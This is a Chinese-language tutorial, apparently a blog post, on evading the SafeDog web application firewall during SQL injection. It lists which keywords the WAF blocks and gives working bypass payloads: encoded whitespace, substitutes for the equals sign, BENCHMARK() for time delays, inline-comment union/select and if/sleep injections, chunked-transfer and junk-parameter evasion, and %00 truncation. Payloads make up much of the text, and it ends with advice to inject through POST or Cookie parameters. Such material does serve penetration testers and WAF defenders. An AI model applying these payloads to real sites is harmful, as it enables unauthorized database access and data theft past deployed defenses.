一、绕过安全狗
WAF(Web应用防火墙)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。通俗来说就是WAF产品里集成了一定的检测规则,会对每个请求的内容根据生成的规则进行检测并对不符合安全规则的作出对应的防御处理,从而保证Web应用的安全性与合法性。
二、常见的拦截和不拦截
拦截:
- union select
- order by
- and 1=1
- database()
- updatexml
- sleep(1)
不拦截:
- 1=1
- if()
常见的替代方法
代替空格
- %20
- %09
- %0a
- %0b
- %0c
- %0d
- %a0
- %00
- /**/
- /!/
- –%0a
- –ABC%0a (access)
- %23%0a
- %23qwe%0a
- %23😉%0A (使用emoji表情)
代替等号
- ?id=1′ like ‘1’=’1
- ?id=1′ and ‘1’regexp’1
- ?id=1”1’regexp’1
- ?id=1′ and ‘1’<>’2
代替sleep()
使用BENCHMARK()函数进行代替sleep,该函数的作用是进行循环执行,如果你设置的循环执行的次数足够大,就能够造成延迟的效果。
<code>SELECT BENCHMARK(100000000,(select user from users limit 0,1)); SELECT BENCHMARK(100000000,(1=1)); SELECT BENCHMARK(100000000,(1=2)); SELECT BENCHMARK(100000000,(null));</code>
函数绕过
<code>database() database(/*!44444*/) database/**/() database/**/(/*!*/) database--%0a(%0a) database%23qwe%0a(%0a) database%23qwe%0a(/*!44444*/) database/*/111*111/(/*!44444*/)</code>
三、内联注释绕过
内联注释叫做/!/,当!后面所接的数据库版本号时,当实际的版本等于或是高于那个字符串,应用程序就会将注释内容解释为SQL,否则就会当做注释来处理。
order by 绕过
<code>?id=1 /*!44444and*//*!444442*/=2--+</code>
union select绕过
<code>?id=1'union /*/1*1*//*!44444select*/ 1,2,3--+</code>
if(1=1,sleep(1),1)绕过
<code>?id=1' and/*/sdas*sdad*/if(1=1,sleep(/**/5),2)%23</code>
四、分块传输绕过
在POST型注入,有一个王炸,那就是分段传输!
在burp中关闭自动补全,删掉Content-Length: 37,添加Tranfer-Enconding: chunked就代表是分块传输了,下面字符依次类推,注意结束时有两个空行。
五、脏数据绕过(大参数绕过)
利用脚本生成器生成大量垃圾字符。
?a=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
六、like绕过
<code>?id=-13 like "[%23]" /*!10444union%0aselect*/1 --+</code>
七、%00绕过
在 1 后面加上%00 ,原理是 waf 把空字节认为是结束导致了后面的语句可以绕过。%00 截断在 GET 中被 url 解码之后是空字符。
八、其他绕过方式
- HTTP参数污染
- 组合绕过
- 编码绕过
- 关键词大小写绕过
- 伪注释绕过waf
- 同义词替换
注意: 如果我们在SQL注入的过程中遇到某个WAF,第一个考虑的是这里的参数是不是可以通过POST或者Cookie来进行传参,如非必要尽量不要在GET中进行SQL注入。
暂无评论内容